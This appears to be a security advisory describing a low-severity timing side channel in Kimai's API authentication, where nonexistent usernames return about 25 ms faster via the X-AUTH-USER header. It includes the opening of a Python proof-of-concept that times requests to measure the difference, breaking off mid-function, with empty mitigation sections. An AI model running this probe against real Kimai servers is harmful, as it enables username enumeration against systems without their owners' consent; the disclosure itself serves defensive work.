Kimai: Username enumeration via timing on X-AUTH-USER
Date: 2026-04
Affected: composer/kimai/kimai
Attack vector: other
Category: vulnerability-disclosure
Severity: Low
CWE: CWE-208
CVSS: 3.7 (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N)

## Details `src/API/Authentication/TokenAuthenticator.php` calls `loadUserByIdentifier()` first and only invokes the password hasher (argon2id) when a user is returned. When the username does not exist, the request returns roughly 25 ms faster than when it does. The response body is the same in both cases (`{"message":"Invalid credentials"}`, HTTP 403), so the leak is purely timing. The `/api/*` firewall has no `login_throttling` configured, so the probe is unbounded. The legacy `X-AUTH-USER` / `X-AUTH-TOKEN` headers are still accepted by default in 2.x. No prior authentication, no API token, and no session cookie are required. ## Proof of concept ```python #!/usr/bin/env python3 """Kimai username enumeration via X-AUTH-USER timing oracle.""" import argparse import ssl import statistics import sys import time import urllib.error import urllib.request PROBE_PATH = "/api/users/me" BASELINE_USER = "baseline_no_such_user_zzz" DUMMY_TOKEN = "x" * 32 def probe(url, user, ctx): req = urllib.request.Request( url + PROBE_PATH, headers={"X-AUTH-USER": user, "X-AUTH-TOKEN": DUMMY_TOKEN}, ) t0 = time.perf_counter() try: urllib.request.urlopen(req, context=ctx, timeout=10).read() except urllib.error.HTTPError as e: e.read() return (time.perf_counter() - t0) * 1000.0 def median_ms(url, user, samples, ctx): return statistics.median(probe(url, user, ctx) for _ in range(samples)) def load_candidates(path): with open(


Mitigations:

Architectural layers (MAESTRO):